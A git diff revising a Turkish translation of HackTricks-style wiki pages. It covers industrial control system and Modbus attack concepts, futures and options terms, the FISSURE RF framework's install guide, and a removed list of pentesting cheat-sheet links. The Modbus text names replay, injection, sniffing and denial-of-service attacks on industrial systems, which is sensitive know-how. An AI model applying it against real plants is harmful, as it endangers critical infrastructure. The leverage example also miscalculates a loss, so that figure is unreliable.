yapısını bilmek gereklidir. -Endüstriyel Kontrol Sistemleri belirli standartlara göre kurulduğundan, her bir bileşeni bilmek kontrol sistemindeki diğer mekanizmaları birbirine bağlamaya yardımcı olacaktır. Bu cihazların, örneğin PLC'ler ve SCADA sistemleri, kurulumu çeşitli sanayilerde farklıdır; bu nedenle bilgi toplama kritik öneme sahiptir. +Endüstriyel Kontrol Sistemleri belirli standartlara göre kurulduğundan, her bir bileşeni bilmek kontrol sistemindeki diğer mekanizmaları birbirine bağlamaya yardımcı olacaktır. Bu cihazların, örneğin PLC'ler ve SCADA sistemleri, kurulumu farklı endüstrilerde farklılık göstermektedir, bu nedenle bilgi toplama kritik öneme sahiptir. -Endüstriyel Kontrol Sistemleri bazen karmaşık olabilir ve bu nedenle bir şey yapmak için çok fazla sabır gerektirir. Saldırı planlamadan ve herhangi bir istismar geliştirmeden önce her şey keşif ve keşif ile ilgilidir. +Endüstriyel Kontrol Sistemleri bazen karmaşık olabilir ve bu nedenle bir şey yapmak için çok sabır gerektirir. Saldırı planlamadan ve herhangi bir istismar geliştirmeden önce her şey keşif ve keşif ile ilgilidir. Bu teknikler, endüstriyel kontrol sistemleri için saldırılara karşı koruma sağlamak ve mavi takım çalışması için de kullanılabilir. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md index c08a6c172..560dc9634 100644 --- a/src/todo/industrial-control-systems-hacking/modbus.md +++ b/src/todo/industrial-control-systems-hacking/modbus.md @@ -1,14 +1,16 @@ # Modbus Protokolü +{{#include /banners/hacktricks-training.md}} + ## Modbus Protokolüne Giriş Modbus protokolü, Endüstriyel Otomasyon ve Kontrol Sistemlerinde yaygın olarak kullanılan bir protokoldür. Modbus, programlanabilir mantık denetleyicileri (PLC'ler), sensörler, aktüatörler ve diğer endüstriyel cihazlar gibi çeşitli cihazlar arasında iletişim sağlar. Modbus Protokolünü anlamak, bu protokolün ICS'de en çok kullanılan iletişim protokolü olması ve PLC'lere komut enjekte etme ve dinleme için büyük bir saldırı yüzeyi sunması nedeniyle önemlidir. -Burada, protokolün bağlamını ve çalışma doğasını sağlayan kavramlar madde madde belirtilmiştir. ICS sistem güvenliğindeki en büyük zorluk, uygulama ve yükseltme maliyetidir. Bu protokoller ve standartlar, hala yaygın olarak kullanılan 80'ler ve 90'ların başında tasarlanmıştır. Bir endüstrinin birçok cihazı ve bağlantısı olduğundan, cihazları yükseltmek çok zordur, bu da hacker'lara eski protokollerle başa çıkma avantajı sağlar. Modbus'a yönelik saldırılar, yükseltme olmadan kullanılmaya devam edileceğinden neredeyse kaçınılmazdır; çünkü bu, endüstri için kritik bir işlemdir. +Burada, protokolün bağlamını ve çalışma doğasını sağlayan kavramlar madde madde belirtilmiştir. ICS sistem güvenliğindeki en büyük zorluk, uygulama ve yükseltme maliyetidir. Bu protokoller ve standartlar 80'lerin ve 90'ların başında tasarlanmış olup hala yaygın olarak kullanılmaktadır. Bir endüstride birçok cihaz ve bağlantı olduğundan, cihazları yükseltmek çok zordur, bu da hacker'lara eski protokollerle başa çıkma avantajı sağlar. Modbus'a yönelik saldırılar, endüstrinin operasyonu için kritik olduğundan, yükseltme olmadan kullanılmaya devam edileceği için neredeyse kaçınılmazdır. ## İstemci-Sunucu Mimarisi -Modbus Protokolü, genellikle bir ana cihazın (istemci) bir veya daha fazla köle cihazla (sunucu) iletişimi başlattığı İstemci Sunucu Mimarisi olarak kullanılır. Bu, elektronik ve IoT'de SPI, I2C vb. ile yaygın olarak kullanılan Ana-Köle mimarisi olarak da adlandırılır. +Modbus Protokolü genellikle bir ana cihazın (istemci) bir veya daha fazla köle cihazla (sunucu) iletişimi başlattığı İstemci Sunucu Mimarisi olarak kullanılır. Bu, elektronik ve IoT'de SPI, I2C vb. ile yaygın olarak kullanılan Ana-Köle mimarisi olarak da adlandırılır. ## Seri ve Ethernet Versiyonları @@ -20,12 +22,14 @@ Veri, Modbus protokolünde ASCII veya İkili olarak iletilir, ancak ikili format ## Fonksiyon Kodları -ModBus Protokolü, PLC'leri ve çeşitli kontrol cihazlarını çalıştırmak için kullanılan belirli fonksiyon kodlarının iletimi ile çalışır. Bu bölüm, fonksiyon kodlarını yeniden ileterek tekrar saldırıları yapılabileceği için önemlidir. Eski cihazlar, veri iletimi için herhangi bir şifreleme desteklemez ve genellikle onları bağlayan uzun teller vardır; bu da bu tellerin manipüle edilmesine ve verilerin yakalanmasına/enjekte edilmesine yol açar. +ModBus Protokolü, PLC'leri ve çeşitli kontrol cihazlarını çalıştırmak için kullanılan belirli fonksiyon kodlarının iletimi ile çalışır. Bu bölüm, fonksiyon kodlarının yeniden iletilmesiyle tekrar saldırılar yapılabileceği için önemlidir. Eski cihazlar veri iletimi için herhangi bir şifreleme desteklemez ve genellikle uzun tellerle bağlanır, bu da bu tellerin bozulmasına ve verilerin yakalanmasına/enjekte edilmesine yol açar. -## Modbus'ın Adreslenmesi +## Modbus Adresleme -Ağdaki her cihazın, cihazlar arasında iletişim için gerekli olan benzersiz bir adresi vardır. Modbus RTU, Modbus TCP gibi protokoller, adreslemeyi uygulamak için kullanılır ve veri iletimi için bir taşıma katmanı işlevi görür. Aktarılan veri, mesajı içeren Modbus protokol formatındadır. +Ağdaki her cihazın, cihazlar arasında iletişim için gerekli olan benzersiz bir adresi vardır. Modbus RTU, Modbus TCP gibi protokoller adreslemeyi uygulamak için kullanılır ve veri iletimi için bir taşıma katmanı işlevi görür. Aktarılan veri, mesajı içeren Modbus protokol formatındadır. -Ayrıca, Modbus, iletilen verilerin bütünlüğünü sağlamak için hata kontrolleri de uygular. Ancak en önemlisi, Modbus bir Açık Standarttır ve herkes bunu cihazlarında uygulayabilir. Bu, bu protokolün küresel standart haline gelmesini sağladı ve endüstriyel otomasyon endüstrisinde yaygın hale geldi. +Ayrıca, Modbus, iletilen verilerin bütünlüğünü sağlamak için hata kontrolleri de uygular. Ancak en önemlisi, Modbus bir Açık Standarttır ve herkes bunu cihazlarında uygulayabilir. Bu, bu protokolün küresel standart haline gelmesini sağladı ve endüstriyel otomasyon endüstrisinde yaygın olarak kullanılmaktadır. -Büyük ölçekli kullanımı ve yükseltme eksikliği nedeniyle, Modbus'a saldırmak, saldırı yüzeyi ile önemli bir avantaj sağlar. ICS, cihazlar arasındaki iletişime yüksek derecede bağımlıdır ve bunlara yapılan herhangi bir saldırı, endüstriyel sistemlerin işletimi için tehlikeli olabilir. Tekrar, veri enjekte etme, veri dinleme ve sızdırma, Hizmet Reddi, veri sahteciliği gibi saldırılar, iletim ortamı saldırgan tarafından tanımlanırsa gerçekleştirilebilir. +Büyük ölçekli kullanımı ve yükseltme eksikliği nedeniyle, Modbus'a saldırmak, saldırı yüzeyi ile önemli bir avantaj sağlar. ICS, cihazlar arasındaki iletişime büyük ölçüde bağımlıdır ve bunlara yapılan herhangi bir saldırı, endüstriyel sistemlerin operasyonu için tehlikeli olabilir. Tekrar, veri enjekte etme, veri dinleme ve sızdırma, Hizmetin Engellenmesi, veri sahteciliği gibi saldırılar, iletim ortamı saldırgan tarafından tanımlanırsa gerçekleştirilebilir. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md index 893490c33..4f03bc7d3 100644 --- a/src/todo/investment-terms.md +++ b/src/todo/investment-terms.md @@ -1,8 +1,10 @@ # Yatırım Terimleri +{{#include /banners/hacktricks-training.md}} + ## Spot -Bu, ticaret yapmanın en temel yoludur. **Almak veya satmak istediğiniz varlığın miktarını ve fiyatını** belirtebilirsiniz ve o fiyat ulaşıldığında işlem gerçekleştirilir. +Bu, bazı ticaret yapmanın en temel yoludur. **Almak veya satmak istediğiniz varlığın miktarını ve fiyatını** belirtebilirsiniz ve o fiyat ulaşıldığında işlem gerçekleştirilir. Genellikle, işlemi mümkün olan en hızlı şekilde gerçekleştirmek için **mevcut piyasa fiyatını** da kullanabilirsiniz. @@ -10,26 +12,26 @@ Genellikle, işlemi mümkün olan en hızlı şekilde gerçekleştirmek için ** ## Vadeli İşlemler -Vadeli işlem, 2 tarafın **belirli bir fiyattan gelecekte bir şey edinme konusunda anlaşmaya vardığı** bir sözleşmedir. Örneğin, 6 ay içinde 1 bitcoin satmak için 70.000$. +Vadeli işlem, 2 tarafın **gelecekte sabit bir fiyattan bir şey edinme** konusunda anlaştığı bir sözleşmedir. Örneğin, 6 ay içinde 70.000$'a 1 bitcoin satmak. -Elbette, 6 ay içinde bitcoin değeri 80.000$ olursa, satıcı taraf para kaybeder ve alıcı taraf kazanır. 6 ay içinde bitcoin değeri 60.000$ olursa, tam tersi olur. +Elbette, 6 ay içinde bitcoin değeri 80.000$ olursa, satıcı taraf para kaybeder ve alıcı taraf kazanır. 6 ay içinde bitcoin değeri 60.000$ olursa, tersine olur. Ancak, bu, bir ürün üreten ve maliyetleri karşılayacak bir fiyattan satabileceğinden emin olmak isteyen işletmeler için ilginçtir. Ya da gelecekte bir şey için sabit fiyatlar sağlamak isteyen işletmeler için, hatta daha yüksek olsa bile. -Borsa işlemlerinde bu genellikle kar elde etmeye çalışmak için kullanılır. +Borsa işlemlerinde ise genellikle kar elde etmeye çalışmak için kullanılır. * "Uzun pozisyon" birinin fiyatın artacağına bahse girdiği anlamına gelir. * "Kısa pozisyon" ise birinin fiyatın düşeceğine bahse girdiği anlamına gelir. ### Vadeli İşlemlerle Korunma -Bir fon yöneticisi bazı hisse senetlerinin düşeceğinden korkuyorsa, bitcoinler veya S&P 500 vadeli işlem sözleşmeleri gibi bazı varlıklar üzerinde kısa pozisyon alabilir. Bu, bazı varlıkları satın almak veya bulundurmak ve bunları gelecekte daha yüksek bir fiyattan satma sözleşmesi oluşturmakla benzerlik gösterir. +Bir fon yöneticisi bazı hisse senetlerinin düşeceğinden korkuyorsa, bitcoinler veya S&P 500 vadeli işlem sözleşmeleri gibi bazı varlıklar üzerinde kısa pozisyon alabilir. Bu, bazı varlıkları satın almak veya bulundurmak ve bunları gelecekte daha yüksek bir fiyattan satma sözleşmesi oluşturmak gibidir. -Fiyat düştüğünde, fon yöneticisi varlıkları daha yüksek bir fiyattan satacağı için kazanç elde eder. Varlıkların fiyatı yükselirse, yönetici bu kazancı elde edemeyecek ancak varlıklarını yine de elinde tutacaktır. +Fiyat düşerse, fon yöneticisi varlıkları daha yüksek bir fiyattan satacağı için kazanç elde eder. Varlıkların fiyatı yükselirse, yönetici bu kazancı elde edemez ama yine de varlıklarını korur. ### Sürekli Vadeli İşlemler -**Bunlar, süresiz olarak sürecek "vadeli işlemler"dir** (sonlandırma sözleşme tarihi olmadan). Kripto borsalarında, kripto fiyatlarına dayalı olarak vadeli işlemlere girip çıkmanın çok yaygın olduğunu görebilirsiniz. +**Bunlar, süresiz olarak sürecek "vadeli işlemler"dir** (sonlandırma sözleşme tarihi olmadan). Örneğin, kripto borsalarında, kripto fiyatlarına dayalı olarak vadeli işlemlere girip çıkmak oldukça yaygındır. Bu durumlarda kazanç ve kayıplar gerçek zamanlı olabilir; fiyat %1 artarsa %1 kazanırsınız, fiyat %1 düşerse kaybedersiniz. @@ -37,32 +39,34 @@ Bu durumlarda kazanç ve kayıplar gerçek zamanlı olabilir; fiyat %1 artarsa % **Kaldıraç**, piyasada daha büyük bir pozisyonu daha az para ile kontrol etmenizi sağlar. Temelde, sahip olduğunuz paradan daha fazla para "bahis" yapmanıza olanak tanır, sadece gerçekten sahip olduğunuz parayı riske atarsınız. -Örneğin, BTC/USDT'de 100$ ile 50x kaldıraçla bir vadeli işlem pozisyonu açarsanız, bu, fiyat %1 artarsa, başlangıç yatırımınızın %50'sini (50$) kazanacağınız anlamına gelir. Böylece 150$'ınız olur.\ +Örneğin, BTC/USDT'de 100$ ile 50x kaldıraçla bir vadeli işlem pozisyonu açarsanız, fiyat %1 artarsa, başlangıç yatırımınızın %50'sini (50$) kazanırsınız. Böylece 150$'ınız olur.\ Ancak, fiyat %1 düşerse, fonlarınızın %50'sini kaybedersiniz (bu durumda 59$). Fiyat %2 düşerse, tüm bahsinizi kaybedersiniz (2x50 = 100%). -Bu nedenle, kaldıraç, bahsettiğiniz para miktarını kontrol etmenizi sağlarken kazanç ve kayıpları artırır. +Bu nedenle, kaldıraç, bahsettiğiniz para miktarını kontrol etmenizi sağlarken kazançları ve kayıpları artırır. ## Vadeli İşlemler ve Opsiyonlar Arasındaki Farklar -Vadeli işlemler ile opsiyonlar arasındaki ana fark, sözleşmenin alıcı için isteğe bağlı olmasıdır: İsterse sözleşmeyi yerine getirebilir (genellikle yalnızca fayda sağlarsa bunu yapar). Satıcı, alıcı opsiyonu kullanmak isterse satmak zorundadır.\ +Vadeli işlemler ile opsiyonlar arasındaki ana fark, sözleşmenin alıcı için isteğe bağlı olmasıdır: İsterse bunu uygulamaya karar verebilir (genellikle yalnızca fayda sağlarsa bunu yapar). Satıcı, alıcı opsiyonu kullanmak isterse satmak zorundadır.\ Ancak, alıcı opsiyonu açmak için satıcıya bir ücret ödeyecektir (bu nedenle, görünüşte daha fazla risk alan satıcı, biraz para kazanmaya başlar). ### 1. **Zorunluluk vs. Hak:** -* **Vadeli İşlemler:** Bir vadeli işlem sözleşmesi satın aldığınızda veya sattığınızda, belirli bir tarihte belirli bir fiyattan bir varlık satın alma veya satma konusunda **bağlayıcı bir anlaşmaya** girmiş olursunuz. Hem alıcı hem de satıcı, sözleşme süresinde yerine getirmekle **yükümlüdür** (sözleşme önceden kapatılmadığı sürece). -* **Opsiyonlar:** Opsiyonlarla, belirli bir tarihten önce veya belirli bir tarihte belirli bir fiyattan bir varlığı satın alma (bir **call opsiyonu** durumunda) veya satma (bir **put opsiyonu** durumunda) **hakkına, ancak zorunluluğa sahip** olursunuz. **Alıcı**, opsiyonu kullanma seçeneğine sahiptir, ancak **satıcı**, alıcı opsiyonu kullanmaya karar verirse ticareti yerine getirmekle yükümlüdür. +* **Vadeli İşlemler:** Bir vadeli işlem sözleşmesi satın aldığınızda veya sattığınızda, belirli bir tarihte belirli bir fiyattan bir varlık satın alma veya satma konusunda **bağlayıcı bir anlaşma** yapıyorsunuz. Hem alıcı hem de satıcı, sözleşmenin sona erdiğinde yerine getirilmesi için **zorunludur** (sözleşme önceden kapatılmadığı sürece). +* **Opsiyonlar:** Opsiyonlarla, belirli bir tarihten önce veya belirli bir tarihte belirli bir fiyattan bir varlık satın alma (bir **call opsiyonu** durumunda) veya satma (bir **put opsiyonu** durumunda) **hakkına, ancak zorunluluğa sahip** olursunuz. **Alıcı**, opsiyonu uygulama seçeneğine sahiptir, **satıcı** ise alıcı opsiyonu kullanmaya karar verirse ticareti yerine getirmekle yükümlüdür. ### 2. **Risk:** -* **Vadeli İşlemler:** Hem alıcı hem de satıcı, sözleşmeyi tamamlama yükümlülüğü nedeniyle **sınırsız risk** alır. Risk, sözleşmedeki kararlaştırılan fiyat ile vade tarihindeki piyasa fiyatı arasındaki farktır. -* **Opsiyonlar:** Alıcının riski, opsiyonu satın almak için ödenen **primle** sınırlıdır. Piyasa, opsiyon sahibinin lehine hareket etmezse, opsiyonu süresinin dolmasına bırakabilir. Ancak, opsiyonun **satıcısı** (yazarı), piyasa kendilerine karşı önemli ölçüde hareket ederse sınırsız risk taşır. +* **Vadeli İşlemler:** Hem alıcı hem de satıcı, sözleşmeyi tamamlamak zorunda oldukları için **sınırsız risk** alır. Risk, sözleşmedeki kararlaştırılan fiyat ile sona erme tarihindeki piyasa fiyatı arasındaki farktır. +* **Opsiyonlar:** Alıcının riski, opsiyonu satın almak için ödenen **prim** ile sınırlıdır. Piyasa, opsiyon sahibinin lehine hareket etmezse, opsiyonu süresinin dolmasına bırakabilir. Ancak, opsiyonun **satıcısı** (yazarı), piyasa kendilerine karşı önemli ölçüde hareket ederse sınırsız risk taşır. ### 3. **Maliyet:** -* **Vadeli İşlemler:** Pozisyonu tutmak için gereken teminat dışında önceden bir maliyet yoktur, çünkü alıcı ve satıcı ticareti tamamlama yükümlülüğündedir. +* **Vadeli İşlemler:** Pozisyonu tutmak için gereken teminat dışında önceden bir maliyet yoktur, çünkü alıcı ve satıcı ticareti tamamlamak zorundadır. * **Opsiyonlar:** Alıcı, opsiyonu kullanma hakkı için önceden bir **opsiyon primi** ödemelidir. Bu prim, opsiyonun maliyetidir. ### 4. **Kar Potansiyeli:** -* **Vadeli İşlemler:** Kar veya zarar, vade tarihindeki piyasa fiyatı ile sözleşmedeki kararlaştırılan fiyat arasındaki farka dayanır. -* **Opsiyonlar:** Alıcı, piyasa, ödenen primden daha fazla bir fiyatla lehine hareket ettiğinde kar elde eder. Satıcı, opsiyon kullanılmadığında primi tutarak kar elde eder. +* **Vadeli İşlemler:** Kar veya zarar, sona erme tarihindeki piyasa fiyatı ile sözleşmedeki kararlaştırılan fiyat arasındaki farka dayanır. +* **Opsiyonlar:** Alıcı, piyasa, ödenen primden daha fazla bir fiyatın üzerinde olumlu bir şekilde hareket ettiğinde kar elde eder. Satıcı, opsiyon kullanılmadığında primi tutarak kar elde eder. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/pentesting-dns.md b/src/todo/pentesting-dns.md deleted file mode 100644 index c8c563b86..000000000 --- a/src/todo/pentesting-dns.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -**DNS'e yönelik saldırılar hakkında daha fazla araştırma yapın** - -**DNSSEC ve DNSSEC3** - -**IPv6'daki DNS** - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/README.md b/src/todo/radio-hacking/README.md index 73829a2a0..9c778b638 100644 --- a/src/todo/radio-hacking/README.md +++ b/src/todo/radio-hacking/README.md @@ -1 +1,3 @@ -# Radyo Hacking +# Radyo Hackleme + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md index 5789c4ca5..950537219 100644 --- a/src/todo/radio-hacking/fissure-the-rf-framework.md +++ b/src/todo/radio-hacking/fissure-the-rf-framework.md @@ -1,12 +1,14 @@ # FISSURE - RF Çerçevesi +{{#include /banners/hacktricks-training.md}} + **Frekansa Bağlı Olmayan SDR Tabanlı Sinyal Anlama ve Tersine Mühendislik** -FISSURE, sinyal tespiti ve sınıflandırması, protokol keşfi, saldırı yürütme, IQ manipülasyonu, zafiyet analizi, otomasyon ve AI/ML için kancalarla tasarlanmış, tüm beceri seviyeleri için açık kaynaklı bir RF ve tersine mühendislik çerçevesidir. Çerçeve, yazılım modüllerinin, radyoların, protokollerin, sinyal verilerinin, betiklerin, akış grafiklerinin, referans materyallerin ve üçüncü taraf araçların hızlı entegrasyonunu teşvik etmek için inşa edilmiştir. FISSURE, yazılımı tek bir yerde tutan ve ekiplerin belirli Linux dağıtımları için aynı kanıtlanmış temel yapılandırmayı paylaşırken hızla uyum sağlamasını sağlayan bir iş akışı etkinleştiricisidir. +FISSURE, sinyal tespiti ve sınıflandırması, protokol keşfi, saldırı yürütme, IQ manipülasyonu, zafiyet analizi, otomasyon ve AI/ML için kancalarla tasarlanmış, tüm beceri seviyeleri için açık kaynaklı bir RF ve tersine mühendislik çerçevesidir. Çerçeve, yazılım modüllerinin, radyoların, protokollerin, sinyal verilerinin, betiklerin, akış grafiklerinin, referans materyallerin ve üçüncü taraf araçların hızlı entegrasyonunu teşvik etmek için inşa edilmiştir. FISSURE, yazılımı tek bir yerde tutan ve ekiplerin belirli Linux dağıtımları için aynı kanıtlanmış temel yapılandırmayı paylaşırken hızla uyum sağlamasını sağlayan bir iş akışı sağlayıcısıdır. FISSURE ile birlikte gelen çerçeve ve araçlar, RF enerjisinin varlığını tespit etmek, bir sinyalin özelliklerini anlamak, örnekler toplamak ve analiz etmek, iletim ve/veya enjeksiyon teknikleri geliştirmek ve özel yükler veya mesajlar oluşturmak için tasarlanmıştır. FISSURE, tanımlama, paket oluşturma ve fuzzing konusunda yardımcı olmak için büyüyen bir protokol ve sinyal bilgisi kütüphanesi içerir. Sinyal dosyalarını indirmek ve trafik simüle etmek ve sistemleri test etmek için çalma listeleri oluşturmak için çevrimiçi arşiv yetenekleri mevcuttur. -Kullanıcı dostu Python kod tabanı ve kullanıcı arayüzü, yeni başlayanların RF ve tersine mühendislik ile ilgili popüler araçlar ve teknikler hakkında hızla bilgi edinmelerini sağlar. Siber güvenlik ve mühendislik alanındaki eğitimciler, yerleşik materyali kullanabilir veya kendi gerçek dünya uygulamalarını göstermek için çerçeveyi kullanabilir. Geliştiriciler ve araştırmacılar, FISSURE'ı günlük görevleri için veya en son çözümlerini daha geniş bir kitleye sunmak için kullanabilir. FISSURE'ın toplulukta farkındalığı ve kullanımı arttıkça, yetenekleri ve kapsadığı teknolojinin kapsamı da artacaktır. +Kullanıcı dostu Python kod tabanı ve kullanıcı arayüzü, acemilerin RF ve tersine mühendislik ile ilgili popüler araçlar ve teknikler hakkında hızla bilgi edinmelerini sağlar. Siber güvenlik ve mühendislik alanındaki eğitimciler, yerleşik materyali kullanabilir veya kendi gerçek dünya uygulamalarını göstermek için çerçeveyi kullanabilir. Geliştiriciler ve araştırmacılar, FISSURE'ı günlük görevleri için veya keskin çözümlerini daha geniş bir kitleye sunmak için kullanabilir. FISSURE'ın toplulukta farkındalığı ve kullanımı arttıkça, yetenekleri ve kapsadığı teknolojinin kapsamı da artacaktır. **Ek Bilgiler** @@ -23,7 +25,7 @@ Kullanıcı dostu Python kod tabanı ve kullanıcı arayüzü, yeni başlayanlar FISSURE içinde dosya navigasyonunu kolaylaştırmak ve kod tekrarını azaltmak için üç dal bulunmaktadır. Python2\_maint-3.7 dalı, Python2, PyQt4 ve GNU Radio 3.7 etrafında inşa edilmiş bir kod tabanı içerir; Python3\_maint-3.8 dalı, Python3, PyQt5 ve GNU Radio 3.8 etrafında inşa edilmiştir; ve Python3\_maint-3.10 dalı, Python3, PyQt5 ve GNU Radio 3.10 etrafında inşa edilmiştir. | İşletim Sistemi | FISSURE Dalı | -| :------------------: | :----------------: | +| :------------------: | :--------------: | | Ubuntu 18.04 (x64) | Python2\_maint-3.7 | | Ubuntu 18.04.5 (x64) | Python2\_maint-3.7 | | Ubuntu 18.04.6 (x64) | Python2\_maint-3.7 | @@ -36,7 +38,7 @@ FISSURE içinde dosya navigasyonunu kolaylaştırmak ve kod tekrarını azaltmak Bu işletim sistemleri hala beta durumundadır. Geliştirme aşamasındadır ve birkaç özelliğin eksik olduğu bilinmektedir. Yükleyicideki öğeler mevcut programlarla çakışabilir veya durum kaldırılana kadar yüklenemeyebilir. | İşletim Sistemi | FISSURE Dalı | -| :----------------------: | :-----------------: | +| :----------------------: | :---------------: | | DragonOS Focal (x86\_64) | Python3\_maint-3.8 | | Ubuntu 22.04 (x64) | Python3\_maint-3.10 | @@ -50,7 +52,7 @@ git checkout or or git submodule update --init ./install ``` -Bu, kurulum GUI'lerini başlatmak için gereken PyQt yazılım bağımlılıklarını yükleyecektir, eğer bulunamazsa. +Bu, yükleme GUI'lerini başlatmak için gereken PyQt yazılım bağımlılıklarını yükleyecektir, eğer bulunamazsa. Sonra, işletim sisteminize en uygun seçeneği seçin (eğer işletim sisteminiz bir seçenekle eşleşiyorsa otomatik olarak algılanmalıdır). @@ -58,7 +60,7 @@ Sonra, işletim sisteminize en uygun seçeneği seçin (eğer işletim sistemini | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) | -FISSURE'ı mevcut çatışmaları önlemek için temiz bir işletim sistemine kurmanız önerilir. FISSURE içindeki çeşitli araçları çalıştırırken hatalardan kaçınmak için tüm önerilen onay kutularını seçin (Varsayılan düğme). Kurulum boyunca, çoğunlukla yükseltilmiş izinler ve kullanıcı adları isteyen birden fazla istem olacaktır. Bir öğe sonunda "Doğrula" bölümü içeriyorsa, yükleyici, takip eden komutu çalıştıracak ve komut tarafından herhangi bir hata üretilip üretilmediğine bağlı olarak onay kutusu öğesini yeşil veya kırmızı olarak vurgulayacaktır. "Doğrula" bölümü olmayan onaylı öğeler kurulumdan sonra siyah kalacaktır. +FISSURE'ı mevcut çatışmaları önlemek için temiz bir işletim sistemine kurmanız önerilir. FISSURE içindeki çeşitli araçları kullanırken hataları önlemek için tüm önerilen onay kutularını (Varsayılan buton) seçin. Yükleme sırasında, çoğunlukla yükseltilmiş izinler ve kullanıcı adları isteyen birden fazla istem olacaktır. Bir öğe sonunda "Doğrula" bölümü içeriyorsa, yükleyici takip eden komutu çalıştıracak ve komut tarafından herhangi bir hata üretilip üretilmediğine bağlı olarak onay kutusu öğesini yeşil veya kırmızı olarak vurgulayacaktır. "Doğrula" bölümü olmayan onaylı öğeler yüklemeden sonra siyah kalacaktır. ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png) @@ -68,7 +70,7 @@ Bir terminal açın ve girin: ``` fissure ``` -FISSURE Yardım menüsüne kullanım detayları için başvurun. +Referans için FISSURE Yardım menüsüne bakın. ## Detaylar @@ -104,7 +106,7 @@ Aşağıda, farklı entegrasyon seviyelerine sahip "desteklenen" donanımların ## Dersler -FISSURE, farklı teknolojiler ve tekniklerle tanışmak için birkaç yararlı kılavuz ile birlikte gelir. Birçoğu, FISSURE'a entegre edilmiş çeşitli araçların kullanım adımlarını içerir. +FISSURE, farklı teknolojiler ve tekniklerle tanışmak için birkaç yararlı kılavuz ile birlikte gelir. Birçoğu, FISSURE'a entegre edilmiş çeşitli araçların kullanımına yönelik adımlar içerir. * [Ders1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md) * [Ders2: Lua Çözümleyicileri](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md) @@ -129,29 +131,29 @@ FISSURE, farklı teknolojiler ve tekniklerle tanışmak için birkaç yararlı k ## Katkıda Bulunma -FISSURE'ı geliştirmek için öneriler şiddetle teşvik edilmektedir. Aşağıdakilerle ilgili düşünceleriniz varsa [Tartışmalar](https://github.com/ainfosec/FISSURE/discussions) sayfasında veya Discord Sunucusunda bir yorum bırakın: +FISSURE'ı geliştirmek için öneriler şiddetle teşvik edilmektedir. Aşağıdaki konularla ilgili düşünceleriniz varsa, [Tartışmalar](https://github.com/ainfosec/FISSURE/discussions) sayfasında veya Discord Sunucusunda bir yorum bırakın: * Yeni özellik önerileri ve tasarım değişiklikleri * Kurulum adımları ile yazılım araçları * Yeni dersler veya mevcut dersler için ek materyal * İlgi alanındaki RF protokolleri -* Entegrasyon için daha fazla donanım ve SDR türü +* Entegrasyon için daha fazla donanım ve SDR türleri * Python'da IQ analiz scriptleri * Kurulum düzeltmeleri ve iyileştirmeleri -FISSURE'ı geliştirmek için katkılar, gelişimini hızlandırmak açısından kritik öneme sahiptir. Yaptığınız katkılar büyük takdir edilmektedir. Kod geliştirme yoluyla katkıda bulunmak isterseniz, lütfen repoyu fork edin ve bir pull request oluşturun: +FISSURE'ı geliştirmek için katkılar, gelişimini hızlandırmak açısından kritik öneme sahiptir. Yaptığınız her katkı büyük takdirle karşılanır. Kod geliştirme yoluyla katkıda bulunmak isterseniz, lütfen repo'yu fork edin ve bir pull request oluşturun: 1. Projeyi fork edin 2. Özellik dalınızı oluşturun (`git checkout -b feature/AmazingFeature`) 3. Değişikliklerinizi kaydedin (`git commit -m 'Add some AmazingFeature'`) -4. Dalınıza push edin (`git push origin feature/AmazingFeature`) +4. Dala itme yapın (`git push origin feature/AmazingFeature`) 5. Bir pull request açın Hatalara dikkat çekmek için [Sorunlar](https://github.com/ainfosec/FISSURE/issues) oluşturmak da memnuniyetle karşılanır. ## İşbirliği -FISSURE işbirliği fırsatlarını önermek ve resmileştirmek için Assured Information Security, Inc. (AIS) İş Geliştirme ile iletişime geçin – bu, yazılımınızı entegre etmek için zaman ayırmak, AIS'teki yetenekli kişilerin teknik zorluklarınız için çözümler geliştirmesi veya FISSURE'ı diğer platformlara/uygulamalara entegre etmek olabilir. +FISSURE işbirliği fırsatlarını önermek ve resmileştirmek için Assured Information Security, Inc. (AIS) İş Geliştirme ile iletişime geçin; bu, yazılımınızı entegre etmek için zaman ayırmak, AIS'teki yetenekli kişilerin teknik zorluklarınız için çözümler geliştirmesi veya FISSURE'ı diğer platformlara/uygulamalara entegre etmek olabilir. ## Lisans @@ -178,3 +180,5 @@ Bu geliştiricilere teşekkür ederiz: ## Teşekkürler Bu projeye katkılarından dolayı Dr. Samuel Mantravadi ve Joseph Reith'e özel teşekkürler. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/references.md b/src/todo/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/todo/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - 